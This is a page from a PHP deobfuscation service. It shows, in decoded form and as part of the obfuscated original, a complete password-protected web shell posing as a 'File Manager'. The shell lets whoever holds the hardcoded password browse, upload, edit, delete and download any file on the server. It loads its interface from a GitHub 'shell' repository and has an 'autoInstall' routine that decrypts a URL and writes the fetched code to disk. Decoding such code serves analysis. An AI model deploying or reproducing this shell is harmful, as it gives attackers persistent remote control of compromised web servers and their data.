Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto BX5in; uxjBo: function explodeLast($ex, $data) { $dataParts = explode($ex, $da..
Decoded Output download
<?php
goto BX5in; uxjBo: function explodeLast($ex, $data) { $dataParts = explode($ex, $data); $dataLast = array_pop($dataParts); return array(implode($ex, $dataParts), $dataLast); } goto aPdpI; aPdpI: function getHomeDirectory() { if (isset($_SERVER["DOCUMENT_ROOT"])) { $homeDir = $_SERVER["DOCUMENT_ROOT"]; } else { if (isset($_SERVER["HOME"])) { $homeDir = $_SERVER["HOME"]; } else { $homeDir = __DIR__; } } $homeDirALL = explodeLast("/", $homeDir); return $homeDirALL[0] . "/"; } goto rYx_I; VI2cK: function sizeFormat($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Su5iy; fSgaz: $style = "https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1.1/default.css"; goto Z2XpI; GKfd8: function setDelete($path) { $success = true; global $mr999plus; if (is_dir($path)) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { $deleted = setDelete(realpath($path) . "/" . $file); if (!$deleted) { $success = false; } } if (count(scandir($path)) == 2) { rmdir($path); } else { $success = false; } } else { if (is_file($path)) { if (str_replace("\", "/", $path) != $mr999plus) { $deleted = unlink($path); if (!$deleted) { $success = false; } } else { $success = false; } } } return $success; } goto zbyB8; VL1Z8: error_reporting(0); goto SECu9; PG1iz: function createFileFopen($file, $data) { $fileHandle = fopen($file, "w"); if ($fileHandle === false) { return false; } else { if (empty($data)) { fclose($fileHandle); return true; } else { $bytesWritten = fwrite($fileHandle, $data); fclose($fileHandle); if ($bytesWritten !== false) { return true; } else { return false; } } } } goto ClpxP; U8HAM: function getContent($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36")); $output = curl_exec($curl); curl_close($curl); return $output; } goto PG1iz; bKDnG: $index = "https://raw.githubusercontent.com/samiulalim1/shell/main/html/v1.1/index.html"; goto fSgaz; BX5in: session_start(); goto VL1Z8; zbyB8: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto U8HAM; cLcb8: date_default_timezone_set("Asia/Dhaka"); goto d5FTt; d5FTt: $mr999plus = str_replace("\", "/", __DIR__) . "/" . basename(__FILE__, "(1) : eval()'d code"); goto bKDnG; Z2XpI: $script = "https://raw.githubusercontent.com/samiulalim1/shell/main/script/v1.1/script.js"; goto uxjBo; Su5iy: function mimeType($file) { $result = array(); if (function_exists("finfo_open")) { $fileInfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($fileInfo, $file); finfo_close($fileInfo); $type = explode("/", $mimeType); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $extensionMap = array("txt" => "text/plain", "htm" => "text/html", "html" => "text/html", "php" => "text/x-php", "css" => "text/css", "js" => "application/javascript", "json" => "application/json", "xml" => "application/xml", "jpg" => "image/jpeg", "jpeg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif", "webp" => "image/webp", "svg" => "image/svg+xml", "mp4" => "video/mp4", "mkv" => "video/x-matroska", "mp3" => "audio/mpeg", "wav" => "audio/wav", "aiff" => "audio/aiff", "zip" => "application/zip", "rar" => "application/x-rar-compressed"); $mimeType = $extensionMap[$extension] ?? "application/octet-stream"; $type = explode("/", $mimeType); } switch ($type[0]) { case "image": $result["type"] = "image"; break; case "video": $result["type"] = "video"; break; case "audio": $result["type"] = "audio"; break; case "text": $result["type"] = "ace"; break; case "inode": case "application": $result["type"] = $type[1] === "zip" ? "zip" : "ace"; break; default: $result["type"] = $type[0]; break; } $result["info"] = $type[0]; return $result; } goto YcUYc; YcUYc: function typeAceFile($name) { $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "text", "htm" => "html", "html" => "html", "php" => "php", "css" => "css", "js" => "javascript", "json" => "json", "xml" => "xml", "mxml" => "xml", "py" => "python", "sh" => "sh", "java" => "java"); if (isset($mimet[$idx])) { return $mimet[$idx]; } else { return "text"; } } goto GKfd8; rYx_I: function sizeFile($file) { return sizeFormat(filesize($file)); } goto jprEr; SECu9: $Hacker = "4128"; goto cLcb8; jprEr: function chmodFolder($folder) { return substr(sprintf("%o", fileperms($folder)), -4); } goto VI2cK; ClpxP: if (isset($_POST["data"])) { $noLogin = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; if (!isset($_SESSION["Hacker"])) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["isLogin"] = true; $result["dir"] = getHomeDirectory(); $result["html"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "loadDir") { $dir = $_POST["dir"]; $explodeDir = explode("/", $dir); $homeDir = getHomeDirectory(); $openDir = $titleDir = $outputFolders = $outputFiles = ''; for ($i = 0; $i < count($explodeDir); $i++) { if ($explodeDir[$i] != '') { $openDir = $openDir . $explodeDir[$i] . "/"; $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>/"; } else { if ($i == 0) { $openDir = $titleDir = "/"; } } } if ($explodeDir[1] != '') { $undoDir = explodeLast("/", $dir); $undoDir = explodeLast("/", $undoDir[0]); $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir[0] . "/">../</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $visibleFilesFolders = glob($dir . "*", GLOB_MARK); $hiddenFilesFolders = glob($dir . ".*", GLOB_MARK); $folders = array_merge($visibleFilesFolders, $hiddenFilesFolders); $folders = array_filter($folders, function ($file) { return !in_array(basename($file), array(".", "..")); }); usort($folders, function ($a, $b) { return strtolower(basename($a)) <=> strtolower(basename($b)); }); foreach ($folders as $folder) { $path = $dir . basename($folder); if ($path != $mr999plus) { if (is_file($path)) { $mimeType = mimeType($path); $outputFiles .= "<div class="flex"><div class="folders" id="openFile" data-name="" . basename($folder) . "" data-type="" . $mimeType["type"] . "" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . $mimeType["info"] . "</div><div class="size">" . sizeFile($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $path = $dir . basename($folder) . "/"; $outputFolders .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . filetype($path) . "</div><div class="size">" . chmodFolder($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["dir"] = $titleDir; $result["html"] = $output . $outputFolders . $outputFiles; } else { if ($data == "updateFile") { $dir = $_POST["dir"]; if (is_writable($dir)) { $editorData = base64_decode($_POST["code"]); $saveData = createFileFopen($dir, $editorData); if ($saveData) { $result["success"] = true; $result["msg"] = "File updated successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to update file!"; } } else { $result["success"] = false; $result["msg"] = "Edit permission denied!"; } } else { if ($data == "setRename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; if (is_file($renameDir)) { $undoDir = explodeLast("/", $renameDir); } else { $undoDir = explodeLast("/", $renameDir); $undoDir = explodeLast("/", $undoDir[0]); } $newDir = $undoDir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder already existed!"; } else { if (is_file($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already existed!"; } else { if (rename($renameDir, $newDir)) { $result["success"] = true; $result["msg"] = "Renamed successfully!"; } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Rename permission denied!"; } } } } else { if ($data == "setDelete") { $delete = setDelete($_POST["dir"]); $result["success"] = $delete; if ($delete) { $result["msg"] = "Deleted successfully!"; } else { $result["msg"] = "Deleted permission denied!"; } } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zip = $_POST["zip"]; $undoDir = explodeLast("/", $zip); $folDer = explodeLast("/", $undoDir[0]); $zipfile = $dir . $folDer[1] . ".zip"; if (class_exists("ZipArchive")) { if (is_writable($dir)) { $rootPath = realpath($zip); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; $result["msg"] = "Folder zipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Zip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "unzipFile") { $file = $_POST["file"]; $dir = pathinfo(realpath($file), PATHINFO_DIRNAME); if (class_exists("ZipArchive")) { if (is_writable($dir)) { $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($dir); $zip->close(); $result["success"] = true; $result["msg"] = "File unzipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["newFileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (createFileFopen($newfile, '')) { $result["success"] = true; $result["file"] = $newfile; $result["msg"] = "File created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create file!"; } } else { $result["success"] = false; $result["msg"] = "New File permission denied!"; } $result["error"] = false; } } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newfolder = $dir . $_POST["newFolderName"]; if (is_dir($newfolder)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder name already existed!"; } else { if (is_writable($dir)) { if (mkdir($newfolder, 511, true)) { $result["success"] = true; $result["msg"] = "Folder created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create folder!"; } } else { $result["success"] = false; $result["msg"] = "New Folder permission denied!"; } $result["error"] = false; } } else { if ($data == "uploadFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["fileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["success"] = true; $result["msg"] = "File uploaded successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to upload file!"; } } else { $result["success"] = false; $result["msg"] = "Upload File permission denied!"; } $result["error"] = false; } } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); $installfile = $dir . $autoInstall[0]; if (is_file($installfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already installed!"; } else { if (is_writable($dir)) { $installContent = getContent($autoInstall[1]); if ($installContent != '') { if (createFileFopen($installfile, $installContent)) { $result["success"] = true; $result["msg"] = "Installed successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to install!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!!"; } } else { $result["success"] = false; $result["msg"] = "Install permission denied!"; } $result["error"] = false; } } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if (is_writable($mr999plus)) { if ($uninstallContent != '') { if (createFileFopen($mr999plus, $uninstallContent)) { $result["success"] = true; $result["msg"] = "Uninstalled successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to uninstall!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!"; } } else { $result["success"] = false; $result["msg"] = "Uninstall permission denied!"; } } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Permission denied!"; } } } } } } } } } } } } } } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { if (isset($_GET["data"], $_SESSION["Hacker"])) { if ($_SESSION["Hacker"] == $Hacker) { $data = $_GET["data"]; if ($data == "openSrc") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { if (function_exists("mime_content_type")) { $ContentType = mime_content_type($file); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $mimeTypes = array("jpg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif", "webp" => "image/webp", "svg" => "image/svg+xml", "mp4" => "video/mp4", "mkv" => "video/x-matroska", "mp3" => "audio/mpeg", "wav" => "audio/wav", "aiff" => "audio/aiff", "jpeg" => "image/jpeg"); $ContentType = $mimeTypes[$extension] ?? "application/octet-stream"; } header("Content-Type: " . $ContentType); readfile($file); die; } else { http_response_code("404"); die; } } else { if ($data == "download") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { die("<script>alert("File not found!"); window.close();</script>"); } } else { if ($data == "openACE") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { $fileSize = filesize($file); $fileName = basename($file); $fileHandle = fopen($file, "r"); if ($fileHandle) { $canRead = "true"; if ($fileSize == 0) { $content = ''; } else { $content = base64_encode(fread($fileHandle, $fileSize)); } fclose($fileHandle); } else { $canRead = "false"; $content = "Read permission denied!"; } } else { $fileName = ''; $canRead = "false"; $content = "File not found!"; } $setting = "var dir = "" . $file . "", aceName = "" . $fileName . "", aceFileType = "" . typeAceFile($fileName) . "", aceRead = " . $canRead . ", aceData = "" . $content . "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } } } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["msg"] = "Wrong Password!"; } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } }
?>
Did this file decode correctly?
Original Code
<?php
goto BX5in; uxjBo: function explodeLast($ex, $data) { $dataParts = explode($ex, $data); $dataLast = array_pop($dataParts); return array(implode($ex, $dataParts), $dataLast); } goto aPdpI; aPdpI: function getHomeDirectory() { if (isset($_SERVER["\104\x4f\x43\x55\x4d\105\x4e\x54\137\122\x4f\117\x54"])) { $homeDir = $_SERVER["\x44\117\103\125\x4d\x45\116\x54\137\x52\117\117\124"]; } else { if (isset($_SERVER["\110\117\x4d\105"])) { $homeDir = $_SERVER["\x48\x4f\x4d\105"]; } else { $homeDir = __DIR__; } } $homeDirALL = explodeLast("\x2f", $homeDir); return $homeDirALL[0] . "\x2f"; } goto rYx_I; VI2cK: function sizeFormat($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . "\40\x47\102"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . "\40\115\x42"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . "\x20\x4b\102"; } else { if ($size > 1) { $size = $size . "\x20\x62\x79\164\x65\x73"; } else { if ($size == 1) { $size = $size . "\x20\142\171\x74\x65"; } else { $size = "\60\40\x62\x79\x74\x65\x73"; } } } } } return $size; } goto Su5iy; fSgaz: $style = "\x68\164\164\160\163\72\57\57\x72\141\167\56\147\151\164\150\165\142\x75\163\x65\x72\x63\x6f\x6e\x74\145\x6e\164\56\143\x6f\x6d\57\x73\x61\155\x69\x75\154\141\x6c\151\x6d\x31\x2f\x73\150\x65\154\x6c\57\155\x61\151\156\x2f\163\x74\171\154\145\x2f\166\x31\x2e\61\x2f\144\x65\x66\x61\165\154\164\56\x63\163\x73"; goto Z2XpI; GKfd8: function setDelete($path) { $success = true; global $mr999plus; if (is_dir($path)) { $files = array_diff(scandir($path), array("\56", "\56\x2e")); foreach ($files as $file) { $deleted = setDelete(realpath($path) . "\57" . $file); if (!$deleted) { $success = false; } } if (count(scandir($path)) == 2) { rmdir($path); } else { $success = false; } } else { if (is_file($path)) { if (str_replace("\134", "\57", $path) != $mr999plus) { $deleted = unlink($path); if (!$deleted) { $success = false; } } else { $success = false; } } } return $success; } goto zbyB8; VL1Z8: error_reporting(0); goto SECu9; PG1iz: function createFileFopen($file, $data) { $fileHandle = fopen($file, "\167"); if ($fileHandle === false) { return false; } else { if (empty($data)) { fclose($fileHandle); return true; } else { $bytesWritten = fwrite($fileHandle, $data); fclose($fileHandle); if ($bytesWritten !== false) { return true; } else { return false; } } } } goto ClpxP; U8HAM: function getContent($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("\x55\x73\x65\162\55\x41\x67\145\156\164\x3a\40\x4d\157\172\x69\x6c\154\141\57\x35\56\60\40\x28\127\x69\156\x64\157\167\163\x20\116\x54\x20\61\60\x2e\x30\73\40\127\x69\156\66\x34\73\x20\170\66\x34\51\40\x41\x70\x70\154\x65\x57\x65\142\x4b\x69\x74\x2f\65\63\x37\x2e\x33\66\40\50\x4b\110\x54\x4d\x4c\x2c\x20\154\x69\153\145\x20\x47\145\x63\x6b\x6f\51\40\103\150\x72\x6f\155\x65\57\61\61\65\56\x30\x2e\60\56\60\x20\x53\141\146\141\162\151\57\x35\x33\67\56\63\66")); $output = curl_exec($curl); curl_close($curl); return $output; } goto PG1iz; bKDnG: $index = "\150\x74\x74\x70\163\x3a\x2f\57\x72\x61\x77\56\x67\151\164\150\165\x62\165\163\145\x72\x63\157\156\164\145\156\x74\x2e\x63\157\x6d\57\163\141\x6d\x69\x75\x6c\141\x6c\x69\x6d\x31\x2f\x73\150\145\154\x6c\x2f\x6d\x61\x69\156\57\x68\x74\155\154\57\x76\x31\56\61\x2f\x69\x6e\144\145\170\56\x68\164\x6d\x6c"; goto fSgaz; BX5in: session_start(); goto VL1Z8; zbyB8: function getDecode($encode) { $key = "\123\x61\x6d\x69\165\x6c\101\x6c\151\155"; $chiper = "\101\x45\x53\55\61\x32\x38\55\x43\124\122"; $iv = hex2bin("\x32\143\62\x36\x39\x61\66\65\60\63\x37\x63\x31\71\60\x66\64\x39\x39\64\x66\x31\x31\x63\x30\146\x31\145\63\67\143\x30"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto U8HAM; cLcb8: date_default_timezone_set("\x41\x73\x69\x61\57\x44\150\141\x6b\x61"); goto d5FTt; d5FTt: $mr999plus = str_replace("\x5c", "\x2f", __DIR__) . "\57" . basename(__FILE__, "\50\61\51\40\72\40\145\x76\x61\x6c\x28\x29\x27\144\x20\143\157\x64\x65"); goto bKDnG; Z2XpI: $script = "\x68\164\164\x70\x73\72\x2f\x2f\x72\x61\167\x2e\x67\151\x74\x68\165\142\x75\163\x65\x72\143\x6f\x6e\x74\145\156\164\56\143\157\155\x2f\x73\x61\x6d\151\165\x6c\141\x6c\x69\155\61\57\x73\x68\145\x6c\x6c\x2f\155\141\x69\x6e\57\163\143\x72\151\160\164\57\x76\x31\56\61\x2f\x73\143\x72\151\160\x74\56\x6a\x73"; goto uxjBo; Su5iy: function mimeType($file) { $result = array(); if (function_exists("\x66\151\x6e\x66\157\137\157\160\x65\156")) { $fileInfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($fileInfo, $file); finfo_close($fileInfo); $type = explode("\57", $mimeType); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $extensionMap = array("\164\170\x74" => "\x74\145\x78\x74\57\160\154\x61\x69\156", "\x68\164\155" => "\x74\x65\x78\x74\x2f\x68\164\x6d\154", "\150\x74\155\x6c" => "\164\145\x78\x74\57\150\164\x6d\154", "\160\150\160" => "\164\x65\170\164\x2f\x78\55\x70\150\x70", "\143\x73\x73" => "\164\145\170\x74\57\143\x73\x73", "\x6a\x73" => "\x61\x70\160\154\x69\143\x61\164\x69\157\x6e\57\x6a\141\166\x61\x73\143\162\151\160\164", "\x6a\163\157\x6e" => "\141\160\x70\154\151\x63\x61\x74\x69\x6f\156\57\152\163\157\156", "\x78\x6d\x6c" => "\141\160\x70\x6c\151\143\141\164\151\x6f\156\57\170\155\x6c", "\152\160\x67" => "\151\x6d\x61\147\x65\57\x6a\160\x65\147", "\152\x70\x65\147" => "\x69\155\x61\x67\145\57\x6a\x70\x65\x67", "\160\x6e\x67" => "\151\x6d\141\147\145\x2f\160\x6e\x67", "\147\x69\146" => "\151\155\141\147\145\57\147\x69\x66", "\167\x65\x62\160" => "\x69\155\x61\x67\x65\57\x77\145\142\160", "\163\x76\147" => "\151\x6d\141\147\x65\x2f\163\x76\147\53\170\x6d\x6c", "\x6d\x70\64" => "\166\x69\x64\x65\x6f\57\155\160\x34", "\x6d\x6b\166" => "\x76\151\144\x65\157\x2f\170\x2d\x6d\141\x74\162\x6f\163\x6b\x61", "\155\160\63" => "\141\165\x64\x69\157\x2f\155\x70\145\x67", "\x77\141\x76" => "\x61\x75\x64\151\157\x2f\x77\141\x76", "\141\x69\x66\146" => "\x61\165\x64\x69\x6f\57\141\x69\146\x66", "\172\x69\x70" => "\141\x70\x70\154\151\143\141\x74\x69\157\156\57\172\x69\x70", "\x72\x61\162" => "\x61\160\x70\x6c\151\x63\141\x74\x69\157\x6e\x2f\170\55\x72\141\162\55\143\x6f\155\x70\x72\x65\163\x73\x65\x64"); $mimeType = $extensionMap[$extension] ?? "\x61\x70\160\154\151\143\x61\x74\x69\x6f\x6e\57\x6f\x63\x74\145\x74\x2d\x73\x74\162\x65\x61\x6d"; $type = explode("\57", $mimeType); } switch ($type[0]) { case "\x69\155\141\x67\145": $result["\164\171\160\x65"] = "\x69\x6d\141\147\145"; break; case "\166\151\144\x65\x6f": $result["\x74\x79\160\x65"] = "\166\151\x64\145\157"; break; case "\x61\165\144\151\x6f": $result["\164\171\160\145"] = "\141\x75\x64\x69\x6f"; break; case "\164\145\170\x74": $result["\164\171\160\x65"] = "\141\143\x65"; break; case "\151\156\157\144\145": case "\141\x70\x70\154\151\x63\141\x74\x69\157\x6e": $result["\164\x79\160\x65"] = $type[1] === "\172\x69\x70" ? "\x7a\151\x70" : "\141\x63\x65"; break; default: $result["\164\x79\x70\145"] = $type[0]; break; } $result["\x69\156\x66\x6f"] = $type[0]; return $result; } goto YcUYc; YcUYc: function typeAceFile($name) { $idx = explode("\x2e", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("\x74\170\x74" => "\164\145\170\x74", "\x68\x74\155" => "\x68\164\x6d\154", "\150\164\155\154" => "\x68\164\155\x6c", "\x70\x68\x70" => "\160\x68\x70", "\143\163\x73" => "\143\163\163", "\152\x73" => "\x6a\141\x76\x61\163\143\162\151\x70\164", "\152\163\x6f\156" => "\152\x73\x6f\156", "\x78\x6d\x6c" => "\x78\x6d\x6c", "\x6d\x78\155\154" => "\x78\155\x6c", "\x70\171" => "\160\x79\164\x68\x6f\156", "\163\x68" => "\163\150", "\x6a\141\x76\141" => "\152\141\x76\x61"); if (isset($mimet[$idx])) { return $mimet[$idx]; } else { return "\164\x65\x78\164"; } } goto GKfd8; rYx_I: function sizeFile($file) { return sizeFormat(filesize($file)); } goto jprEr; SECu9: $Hacker = "\064\061\062\070"; goto cLcb8; jprEr: function chmodFolder($folder) { return substr(sprintf("\x25\157", fileperms($folder)), -4); } goto VI2cK; ClpxP: if (isset($_POST["\144\141\164\141"])) { $noLogin = "\74\144\x69\166\40\143\154\141\x73\163\x3d\42\x62\157\170\x22\76\x3c\x68\x31\x20\143\x6c\141\163\x73\x3d\42\164\151\164\154\145\42\x3e\106\151\x6c\x65\x20\x4d\141\156\141\x67\x65\162\x3c\x2f\150\61\76\x3c\x64\x69\166\40\143\154\141\x73\163\75\42\x69\156\x70\165\164\42\40\x69\144\x3d\x22\160\141\x73\x73\167\157\x72\144\x22\x3e\74\x64\151\x76\x20\143\154\x61\163\x73\75\x22\x69\x63\157\x6e\x22\x3e\74\151\x20\143\154\x61\163\163\x3d\42\146\x61\x2d\154\x69\x67\x68\164\x20\x66\141\55\165\x73\145\x72\55\x63\157\x77\142\157\171\x22\x3e\x3c\57\151\76\x3c\57\144\x69\x76\76\74\x69\x6e\x70\x75\x74\x20\164\x79\160\x65\75\42\160\141\x73\x73\167\157\162\x64\42\x20\151\x64\75\42\x69\156\x70\165\164\42\40\x70\154\141\x63\x65\150\157\x6c\144\x65\162\x3d\42\x20\42\x3e\74\x6c\x61\x62\145\x6c\x20\x66\157\162\x3d\x22\x69\x6e\x70\165\x74\x22\x20\151\144\75\42\x6c\141\142\x65\x6c\42\76\x50\x61\163\163\167\157\x72\x64\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\x3c\x73\160\x61\156\76\x3c\57\163\160\x61\156\76\74\57\x64\151\x76\x3e\x3c\144\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\142\165\x74\x74\x6f\x6e\42\x20\x69\144\75\42\x6c\157\x67\151\x6e\x22\76\x3c\x68\x31\76\x4c\x6f\147\x69\156\40\116\157\x77\74\57\x68\x31\76\74\57\x64\x69\x76\76\74\x2f\x64\151\166\x3e"; if (!isset($_SESSION["\x48\141\143\x6b\145\x72"])) { $result["\144\x69\162"] = false; $result["\163\165\143\143\x65\163\x73"] = true; $result["\x69\x73\x4c\157\147\151\x6e"] = false; $result["\150\164\x6d\154"] = $noLogin; } else { if ($_SESSION["\x48\141\143\153\145\162"] != $Hacker) { $result["\x64\151\x72"] = false; $result["\x73\165\x63\143\x65\163\163"] = true; $result["\x69\163\x4c\x6f\x67\151\156"] = false; $result["\150\164\x6d\154"] = $noLogin; } else { $data = $_POST["\x64\141\x74\141"]; if ($data == "\x4c\x6f\141\x64") { $result["\163\165\143\x63\145\163\163"] = true; $result["\x69\163\114\x6f\x67\151\156"] = true; $result["\x64\x69\x72"] = getHomeDirectory(); $result["\x68\164\x6d\154"] = 